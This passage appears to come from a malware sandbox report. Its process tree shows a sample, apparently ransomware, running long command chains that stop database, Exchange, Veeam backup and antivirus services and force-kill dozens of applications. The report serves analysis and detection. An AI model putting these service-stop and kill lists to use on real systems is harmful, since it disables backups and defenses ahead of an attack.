        5⤵
        
        PID:6952
  - - C:\Windows\SysWOW64\net.exe
      net stop CASMsgSrv
      4⤵
      PID:6688
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop CASMsgSrv
        5⤵
        
        PID:5504
  - - C:\Windows\SysWOW64\net.exe
      net stop "OracleOraDb10g_homeliSQL*Plus"
      4⤵
      PID:6052
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop "OracleOraDb10g_homeliSQL*Plus"
        5⤵
        
        PID:7112
  - - C:\Windows\SysWOW64\net.exe
      net stop OracleDBConsoleilas
      4⤵
      PID:3340
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop OracleDBConsoleilas
        5⤵
        
        PID:6176
  - - C:\Windows\SysWOW64\net.exe
      net stop MySQL
      4⤵
      PID:5740
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop MySQL
        5⤵
        
        PID:6608
  - - C:\Windows\SysWOW64\net.exe
      net stop TPlusStdAppService1220
      4⤵
      PID:844
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop TPlusStdAppService1220
        5⤵
        
        PID:1132
  - - C:\Windows\SysWOW64\net.exe
      net stop TPlusStdTaskService1220
      4⤵
      PID:3856
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop TPlusStdTaskService1220
        5⤵
        
        PID:2380
  - - C:\Windows\SysWOW64\net.exe
      net stop TPlusStdUpgradeService1220
      4⤵
      PID:1280
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop TPlusStdUpgradeService1220
        5⤵
        
        PID:2860
  - - C:\Windows\SysWOW64\net.exe
      net stop K3MobileServiceManage
      4⤵
      PID:5796
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop K3MobileServiceManage
        5⤵
        
        PID:1216
  - - C:\Windows\SysWOW64\net.exe
      net stop "FileZilla Server"
      4⤵
      PID:6572
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop "FileZilla Server"
        5⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:4616
  - - C:\Windows\SysWOW64\net.exe
      net stop DDVRulesProcessor
      4⤵
      PID:6960
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop DDVRulesProcessor
        5⤵
        
        PID:6276
  - - C:\Windows\SysWOW64\net.exe
      net stop ImtsEventSvr
      4⤵
      PID:2020
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop ImtsEventSvr
        5⤵
        
        PID:6000
  - - C:\Windows\SysWOW64\net.exe
      net stop AutoUpdatePatchService
      4⤵
      PID:6724
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop AutoUpdatePatchService
        5⤵
        
        PID:3192
  - - C:\Windows\SysWOW64\net.exe
      net stop OMAILREPORT
      4⤵
      PID:6208
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop OMAILREPORT
        5⤵
        
        PID:7156
  - - C:\Windows\SysWOW64\net.exe
      net stop "Dell Hardware Support"
      4⤵
      PID:4284
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop "Dell Hardware Support"
        5⤵
        
        PID:4756
  - - C:\Windows\SysWOW64\net.exe
      net stop SupportAssistAgent
      4⤵
      PID:1904
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop SupportAssistAgent
        5⤵
        
        PID:1888
  - - C:\Windows\SysWOW64\net.exe
      net stop K3MMainSuspendService
      4⤵
      PID:5920
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop K3MMainSuspendService
        5⤵
        
        PID:5784
  - - C:\Windows\SysWOW64\net.exe
      net stop KpService
      4⤵
      PID:5468
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop KpService
        5⤵
        
        PID:832
  - - C:\Windows\SysWOW64\net.exe
      net stop ceng_web_svc_d
      4⤵
      PID:3340
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop ceng_web_svc_d
        5⤵
        
        PID:5744
  - - C:\Windows\SysWOW64\net.exe
      net stop KugouService
      4⤵
      PID:2648
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop KugouService
        5⤵
        
        PID:6268
  - - C:\Windows\SysWOW64\net.exe
      net stop pcas
      4⤵
      PID:1760
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop pcas
        5⤵
        
        PID:6684
  - - C:\Windows\SysWOW64\net.exe
      net stop U8SendMailAdmin
      4⤵
      PID:6768
  - - C:\Windows\SysWOW64\net.exe
      net stop "Bonjour Service"
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:5392
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop "Bonjour Service"
        5⤵
        
        PID:6032
  - - C:\Windows\SysWOW64\net.exe
      net stop "Apple Mobile Device Service"
      4⤵
      PID:4768
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop "Apple Mobile Device Service"
        5⤵
        
        PID:5816
  - - C:\Windows\SysWOW64\net.exe
      net stop "ABBYY.Licensing.FineReader.Professional.12.0"
      4⤵
      PID:3916
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop "ABBYY.Licensing.FineReader.Professional.12.0"
        5⤵
        
        PID:6060
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c "color a & @net stop HaoZipSvc & @net stop "igfxCUIService2.0.0.0" & @net stop Realtek11nSU & @net stop xenlite & @net stop XenSvc & @net stop Apache2.2 & @net stop "Synology Drive VSS Service x64" & @net stop DellDRLogSvc & @net stop FirebirdGuardianDeafaultInstance & @net stop JWEM3DBAUTORun & @net stop JWRinfoClientService & @net stop JWService & @net stop Service2 & @net stop RapidRecoveryAgent & @net stop FirebirdServerDefaultInstance & @net stop AdobeARMservice & @net stop VeeamCatalogSvc & @net stop VeeanBackupSvc & @net stop VeeamTransportSvc & @net stop TPlusStdAppService1300 & @net stop TPlusStdTaskService1300 & @net stop TPlusStdUpgradeService1300 & @net stop TPlusStdWebService1300 & @net stop VeeamNFSSvc & @net stop VeeamDeploySvc & @net stop VeeamCloudSvc & @net stop VeeamMountSvc & @net stop VeeamBrokerSvc & @net stop VeeamDistributionSvc & @net stop tmlisten & @net stop ServiceMid & @net stop 360EntPGSvc & @net stop ClickToRunSvc & @net stop RavTask & @net stop AngelOfDeath & @net stop d_safe & @net stop NFLicenceServer & @net stop "NetVault Process Manager" & @net stop RavService & @net stop DFServ & @net stop IngressMgr & @net stop EvtSys & @net stop K3ClouManager & @net stop NFVPrintServer & @net stop RTCAVMCU & @net stop CobianBackup10 & @net stop GNWebService & @net stop Mysoft.SchedulingService & @net stop AgentX & @net stop SentinelKeysServer & @net stop DGPNPSEV & @net stop TurboCRM70 & @net stop NFSysService & @net stop U8DispatchService & @net stop NFOTPService & @net stop U8EISService & @net stop U8EncryptService & @net stop U8GCService & @net stop U8KeyManagePool & @net stop U8MPool & @net stop U8SCMPool & @net stop U8SLReportService & @net stop U8TaskService & @net stop U8WebPool & @net stop UFAllNet & @net stop UFReportService & @net stop UTUService"
    3⤵
    PID:3720
  - - C:\Windows\SysWOW64\net.exe
      net stop HaoZipSvc
      4⤵
      PID:5212
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop HaoZipSvc
        5⤵
        
        PID:5624
  - - C:\Windows\SysWOW64\net.exe
      net stop "igfxCUIService2.0.0.0"
      4⤵
      PID:5612
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop "igfxCUIService2.0.0.0"
        5⤵
        
        PID:5240
  - - C:\Windows\SysWOW64\net.exe
      net stop Realtek11nSU
      4⤵
      PID:5720
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop Realtek11nSU
        5⤵
        
        PID:4616
  - - C:\Windows\SysWOW64\net.exe
      net stop xenlite
      4⤵
      PID:5556
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop xenlite
        5⤵
        
        PID:4220
  - - C:\Windows\SysWOW64\net.exe
      net stop XenSvc
      4⤵
      PID:5656
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop XenSvc
        5⤵
        
        PID:3936
  - - C:\Windows\SysWOW64\net.exe
      net stop Apache2.2
      4⤵
      PID:5772
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop Apache2.2
        5⤵
        
        PID:2668
  - - C:\Windows\SysWOW64\net.exe
      net stop "Synology Drive VSS Service x64"
      4⤵
      PID:5448
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop "Synology Drive VSS Service x64"
        5⤵
        
        PID:2476
  - - C:\Windows\SysWOW64\net.exe
      net stop DellDRLogSvc
      4⤵
      PID:5652
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop DellDRLogSvc
        5⤵
        
        PID:3120
  - - C:\Windows\SysWOW64\net.exe
      net stop FirebirdGuardianDeafaultInstance
      4⤵
      PID:5136
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop FirebirdGuardianDeafaultInstance
        5⤵
        
        PID:3340
  - - C:\Windows\SysWOW64\net.exe
      net stop JWEM3DBAUTORun
      4⤵
      PID:5860
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop JWEM3DBAUTORun
        5⤵
        
        PID:5276
  - - C:\Windows\SysWOW64\net.exe
      net stop JWRinfoClientService
      4⤵
      PID:5228
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop JWRinfoClientService
        5⤵
        
        PID:5748
  - - C:\Windows\SysWOW64\net.exe
      net stop JWService
      4⤵
      PID:4852
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop JWService
        5⤵
        
        PID:2412
  - - C:\Windows\SysWOW64\net.exe
      net stop Service2
      4⤵
      PID:1736
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop Service2
        5⤵
        
        PID:3444
  - - C:\Windows\SysWOW64\net.exe
      net stop RapidRecoveryAgent
      4⤵
      PID:5332
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop RapidRecoveryAgent
        5⤵
        
        PID:6044
  - - C:\Windows\SysWOW64\net.exe
      net stop FirebirdServerDefaultInstance
      4⤵
      PID:5600
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop FirebirdServerDefaultInstance
        5⤵
        
        PID:3444
  - - C:\Windows\SysWOW64\net.exe
      net stop AdobeARMservice
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:5944
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop AdobeARMservice
        5⤵
        
        PID:5496
  - - C:\Windows\SysWOW64\net.exe
      net stop VeeamCatalogSvc
      4⤵
      PID:6060
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop VeeamCatalogSvc
        5⤵
        
        PID:6008
  - - C:\Windows\SysWOW64\net.exe
      net stop VeeanBackupSvc
      4⤵
      PID:2624
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop VeeanBackupSvc
        5⤵
        
        PID:5524
  - - C:\Windows\SysWOW64\net.exe
      net stop VeeamTransportSvc
      4⤵
      PID:5792
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop VeeamTransportSvc
        5⤵
        
        PID:5312
  - - C:\Windows\SysWOW64\net.exe
      net stop TPlusStdAppService1300
      4⤵
      PID:6092
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop TPlusStdAppService1300
        5⤵
        
        PID:5156
  - - C:\Windows\SysWOW64\net.exe
      net stop TPlusStdTaskService1300
      4⤵
      PID:5736
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop TPlusStdTaskService1300
        5⤵
        
        PID:464
  - - C:\Windows\SysWOW64\net.exe
      net stop TPlusStdUpgradeService1300
      4⤵
      PID:5096
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop TPlusStdUpgradeService1300
        5⤵
        
        PID:1216
  - - C:\Windows\SysWOW64\net.exe
      net stop TPlusStdWebService1300
      4⤵
      PID:4260
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop TPlusStdWebService1300
        5⤵
        
        PID:5928
  - - C:\Windows\SysWOW64\net.exe
      net stop VeeamNFSSvc
      4⤵
      PID:5256
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop VeeamNFSSvc
        5⤵
        
        PID:4768
  - - C:\Windows\SysWOW64\net.exe
      net stop VeeamDeploySvc
      4⤵
      PID:4420
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop VeeamDeploySvc
        5⤵
        
        PID:5364
  - - C:\Windows\SysWOW64\net.exe
      net stop VeeamCloudSvc
      4⤵
      PID:2784
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop VeeamCloudSvc
        5⤵
        
        PID:5544
  - - C:\Windows\SysWOW64\net.exe
      net stop VeeamMountSvc
      4⤵
      PID:5804
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop VeeamMountSvc
        5⤵
        
        PID:7052
  - - C:\Windows\SysWOW64\net.exe
      net stop VeeamBrokerSvc
      4⤵
      PID:6652
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop VeeamBrokerSvc
        5⤵
        
        PID:1388
  - - C:\Windows\SysWOW64\net.exe
      net stop VeeamDistributionSvc
      4⤵
      PID:5244
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop VeeamDistributionSvc
        5⤵
        
        PID:1856
  - - C:\Windows\SysWOW64\net.exe
      net stop tmlisten
      4⤵
      PID:6900
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop tmlisten
        5⤵
        
        PID:5928
  - - C:\Windows\SysWOW64\net.exe
      net stop ServiceMid
      4⤵
      PID:6608
  - - C:\Windows\SysWOW64\net.exe
      net stop 360EntPGSvc
      4⤵
      PID:5200
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop 360EntPGSvc
        5⤵
        
        PID:4572
  - - C:\Windows\SysWOW64\net.exe
      net stop ClickToRunSvc
      4⤵
      PID:5892
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop ClickToRunSvc
        5⤵
        
        PID:5896
  - - C:\Windows\SysWOW64\net.exe
      net stop RavTask
      4⤵
      PID:6740
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop RavTask
        5⤵
        
        PID:6808
  - - C:\Windows\SysWOW64\net.exe
      net stop AngelOfDeath
      4⤵
      PID:6100
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop AngelOfDeath
        5⤵
        
        PID:1828
  - - C:\Windows\SysWOW64\net.exe
      net stop d_safe
      4⤵
      PID:5552
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop d_safe
        5⤵
        
        PID:1012
  - - C:\Windows\SysWOW64\net.exe
      net stop NFLicenceServer
      4⤵
      PID:1668
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop NFLicenceServer
        5⤵
        
        PID:4428
  - - C:\Windows\SysWOW64\net.exe
      net stop "NetVault Process Manager"
      4⤵
      PID:4724
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop "NetVault Process Manager"
        5⤵
        
        PID:6496
  - - C:\Windows\SysWOW64\net.exe
      net stop RavService
      4⤵
      PID:5496
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop RavService
        5⤵
        
        PID:5352
  - - C:\Windows\SysWOW64\net.exe
      net stop DFServ
      4⤵
      PID:5776
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop DFServ
        5⤵
        
        PID:1544
  - - C:\Windows\SysWOW64\net.exe
      net stop IngressMgr
      4⤵
      PID:2268
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop IngressMgr
        5⤵
        
        PID:5680
  - - C:\Windows\SysWOW64\net.exe
      net stop EvtSys
      4⤵
      PID:6952
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop EvtSys
        5⤵
        
        PID:5704
  - - C:\Windows\SysWOW64\net.exe
      net stop K3ClouManager
      4⤵
      PID:6496
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop K3ClouManager
        5⤵
        
        PID:6300
  - - C:\Windows\SysWOW64\net.exe
      net stop NFVPrintServer
      4⤵
      PID:1940
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop NFVPrintServer
        5⤵
        
        PID:2700
  - - C:\Windows\SysWOW64\net.exe
      net stop RTCAVMCU
      4⤵
      PID:6528
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop RTCAVMCU
        5⤵
        
        PID:5516
  - - C:\Windows\SysWOW64\net.exe
      net stop CobianBackup10
      4⤵
      PID:3448
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop CobianBackup10
        5⤵
        
        PID:1280
  - - C:\Windows\SysWOW64\net.exe
      net stop GNWebService
      4⤵
      PID:4812
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop GNWebService
        5⤵
        
        PID:3412
  - - C:\Windows\SysWOW64\net.exe
      net stop Mysoft.SchedulingService
      4⤵
      PID:5152
  - - C:\Windows\SysWOW64\net.exe
      net stop AgentX
      4⤵
      PID:4984
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop AgentX
        5⤵
        
        PID:5396
  - - C:\Windows\SysWOW64\net.exe
      net stop SentinelKeysServer
      4⤵
      PID:5460
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop SentinelKeysServer
        5⤵
        
        PID:6988
  - - C:\Windows\SysWOW64\net.exe
      net stop DGPNPSEV
      4⤵
      PID:1572
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop DGPNPSEV
        5⤵
        
        PID:5276
  - - C:\Windows\SysWOW64\net.exe
      net stop TurboCRM70
      4⤵
      PID:4132
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop TurboCRM70
        5⤵
        
        PID:5716
  - - C:\Windows\SysWOW64\net.exe
      net stop NFSysService
      4⤵
      PID:6484
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c "color a & @net stop U8WorkerService1 & @net stop U8WorkerService2 & @net stop "memcached Server" & @net stop Apache2.4 & @net stop UFIDAWebService & @net stop MSComplianceAudit & @net stop MSExchangeADTopology & @net stop MSExchangeAntispamUpdate & @net stop MSExchangeCompliance & @net stop MSExchangeDagMgmt & @net stop MSExchangeDelivery & @net stop MSExchangeDiagnostics & @net stop MSExchangeEdgeSync & @net stop MSExchangeFastSearch & @net stop MSExchangeFrontEndTransport & @net stop MSExchangeHM & @net stop MSSQL$SQL2008 & @net stop MSExchangeHMRecovery & @net stop MSExchangeImap4 & @net stop MSExchangeIMAP4BE & @net stop MSExchangeIS & @net stop MSExchangeMailboxAssistants & @net stop MSExchangeMailboxReplication & @net stop MSExchangeNotificationsBroker & @net stop MSExchangePop3 & @net stop MSExchangePOP3BE & @net stop MSExchangeRepl & @net stop MSExchangeRPC & @net stop MSExchangeServiceHost & @net stop MSExchangeSubmission & @net stop MSExchangeThrottling & @net stop MSExchangeTransport & @net stop MSExchangeTransportLogSearch & @net stop MSExchangeUM & @net stop MSExchangeUMCR & @net stop MySQL5_OA"
    3⤵
    PID:4284
  - - C:\Windows\SysWOW64\net.exe
      net stop U8WorkerService1
      4⤵
      PID:5188
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop U8WorkerService1
        5⤵
        
        PID:5324
  - - C:\Windows\SysWOW64\net.exe
      net stop U8WorkerService2
      4⤵
      PID:1388
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop U8WorkerService2
        5⤵
        
        PID:5724
  - - C:\Windows\SysWOW64\net.exe
      net stop "memcached Server"
      4⤵
      PID:5728
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop "memcached Server"
        5⤵
        
        PID:2484
  - - C:\Windows\SysWOW64\net.exe
      net stop Apache2.4
      4⤵
      PID:1172
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop Apache2.4
        5⤵
        
        PID:5660
  - - C:\Windows\SysWOW64\net.exe
      net stop UFIDAWebService
      4⤵
      PID:5452
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop UFIDAWebService
        5⤵
        
        PID:5152
  - - C:\Windows\SysWOW64\net.exe
      net stop MSComplianceAudit
      4⤵
      PID:2484
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop MSComplianceAudit
        5⤵
        
        PID:4876
  - - C:\Windows\SysWOW64\net.exe
      net stop MSExchangeADTopology
      4⤵
      PID:5096
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop MSExchangeADTopology
        5⤵
        
        PID:5388
  - - C:\Windows\SysWOW64\net.exe
      net stop MSExchangeAntispamUpdate
      4⤵
      PID:5472
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop MSExchangeAntispamUpdate
        5⤵
        
        PID:5244
  - - C:\Windows\SysWOW64\net.exe
      net stop MSExchangeCompliance
      4⤵
      PID:1764
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop MSExchangeCompliance
        5⤵
        
        PID:5616
  - - C:\Windows\SysWOW64\net.exe
      net stop MSExchangeDagMgmt
      4⤵
      PID:5328
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop MSExchangeDagMgmt
        5⤵
        
        PID:3336
  - - C:\Windows\SysWOW64\net.exe
      net stop MSExchangeDelivery
      4⤵
      PID:5260
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop MSExchangeDelivery
        5⤵
        
        PID:1800
  - - C:\Windows\SysWOW64\net.exe
      net stop MSExchangeDiagnostics
      4⤵
      PID:832
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop MSExchangeDiagnostics
        5⤵
        
        PID:6084
  - - C:\Windows\SysWOW64\net.exe
      net stop MSExchangeEdgeSync
      4⤵
      PID:5932
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop MSExchangeEdgeSync
        5⤵
        
        PID:5900
  - - C:\Windows\SysWOW64\net.exe
      net stop MSExchangeFastSearch
      4⤵
      PID:5124
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop MSExchangeFastSearch
        5⤵
        
        PID:2876
  - - C:\Windows\SysWOW64\net.exe
      net stop MSExchangeFrontEndTransport
      4⤵
      PID:5772
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop MSExchangeFrontEndTransport
        5⤵
        
        PID:5708
  - - C:\Windows\SysWOW64\net.exe
      net stop MSExchangeHM
      4⤵
      PID:3940
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop MSExchangeHM
        5⤵
        
        PID:4900
  - - C:\Windows\SysWOW64\net.exe
      net stop MSSQL$SQL2008
      4⤵
      PID:6136
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop MSSQL$SQL2008
        5⤵
        
        PID:5660
  - - C:\Windows\SysWOW64\net.exe
      net stop MSExchangeHMRecovery
      4⤵
      PID:5488
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop MSExchangeHMRecovery
        5⤵
        
        PID:5692
  - - C:\Windows\SysWOW64\net.exe
      net stop MSExchangeImap4
      4⤵
      PID:5024
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop MSExchangeImap4
        5⤵
        
        PID:1568
  - - C:\Windows\SysWOW64\net.exe
      net stop MSExchangeIMAP4BE
      4⤵
      PID:1120
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop MSExchangeIMAP4BE
        5⤵
        
        PID:4228
  - - C:\Windows\SysWOW64\net.exe
      net stop MSExchangeIS
      4⤵
      PID:4612
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop MSExchangeIS
        5⤵
        
        PID:2328
  - - C:\Windows\SysWOW64\net.exe
      net stop MSExchangeMailboxAssistants
      4⤵
      PID:5708
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop MSExchangeMailboxAssistants
        5⤵
        
        PID:6076
  - - C:\Windows\SysWOW64\net.exe
      net stop MSExchangeMailboxReplication
      4⤵
      PID:5668
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop MSExchangeMailboxReplication
        5⤵
        
        PID:1772
  - - C:\Windows\SysWOW64\net.exe
      net stop MSExchangeNotificationsBroker
      4⤵
      PID:3664
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop MSExchangeNotificationsBroker
        5⤵
        
        PID:3852
  - - C:\Windows\SysWOW64\net.exe
      net stop MSExchangePop3
      4⤵
      PID:988
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop MSExchangePop3
        5⤵
        
        PID:6552
  - - C:\Windows\SysWOW64\net.exe
      net stop MSExchangePOP3BE
      4⤵
      PID:5836
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop MSExchangePOP3BE
        5⤵
        
        PID:3660
  - - C:\Windows\SysWOW64\net.exe
      net stop MSExchangeRepl
      4⤵
      PID:5344
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop MSExchangeRepl
        5⤵
        
        PID:5960
  - - C:\Windows\SysWOW64\net.exe
      net stop MSExchangeRPC
      4⤵
      PID:6044
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop MSExchangeRPC
        5⤵
        
        PID:7096
  - - C:\Windows\SysWOW64\net.exe
      net stop MSExchangeServiceHost
      4⤵
      PID:1940
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop MSExchangeServiceHost
        5⤵
        
        PID:5540
  - - C:\Windows\SysWOW64\net.exe
      net stop MSExchangeSubmission
      4⤵
      PID:5640
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop MSExchangeSubmission
        5⤵
        
        PID:6444
  - - C:\Windows\SysWOW64\net.exe
      net stop MSExchangeThrottling
      4⤵
      PID:5644
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop MSExchangeThrottling
        5⤵
        
        PID:6688
  - - C:\Windows\SysWOW64\net.exe
      net stop MSExchangeTransport
      4⤵
      PID:5512
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop MSExchangeTransport
        5⤵
        
        PID:4484
  - - C:\Windows\SysWOW64\net.exe
      net stop MSExchangeTransportLogSearch
      4⤵
      PID:4904
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop MSExchangeTransportLogSearch
        5⤵
        
        PID:4876
  - - C:\Windows\SysWOW64\net.exe
      net stop MSExchangeUM
      4⤵
      PID:7088
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop MSExchangeUM
        5⤵
        
        PID:2524
  - - C:\Windows\SysWOW64\net.exe
      net stop MSExchangeUMCR
      4⤵
      PID:2624
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop MSExchangeUMCR
        5⤵
        
        PID:4152
  - - C:\Windows\SysWOW64\net.exe
      net stop MySQL5_OA
      4⤵
      PID:4140
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop MySQL5_OA
        5⤵
        
        PID:6516
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c "color e & @taskkill /IM ThunderPlatform.exe /F & @taskkill /IM iexplore.exe /F & @taskkill /IM vm-agent.exe /F & @taskkill /IM vm-agent-daemon.exe /F & @taskkill /IM eSightService.exe /F & @taskkill /IM cygrunsrv.exe /F & @taskkill /IM wrapper.exe /F & @taskkill /IM nginx.exe /F & @taskkill /IM node.exe /F & @taskkill /IM sshd.exe /F & @taskkill /IM vm-tray.exe /F & @taskkill /IM iempwatchdog.exe /F & @taskkill /IM sqlwriter.exe /F & @taskkill /IM php.exe /F & @taskkill /IM "notepad++.exe" /F & @taskkill /IM "phpStudy.exe" /F & @taskkill /IM OPCClient.exe /F & @taskkill /IM navicat.exe /F & @taskkill /IM SupportAssistAgent.exe /F & @taskkill /IM SunloginClient.exe /F & @taskkill /IM SOUNDMAN.exe /F & @taskkill /IM WeChat.exe /F & @taskkill /IM TXPlatform.exe /F & @taskkill /IM Tencentdll.exe /F & @taskkill /IM httpd.exe /F & @taskkill /IM jenkins.exe /F & @taskkill /IM QQ.exe /F & @taskkill /IM HaoZip.exe /F 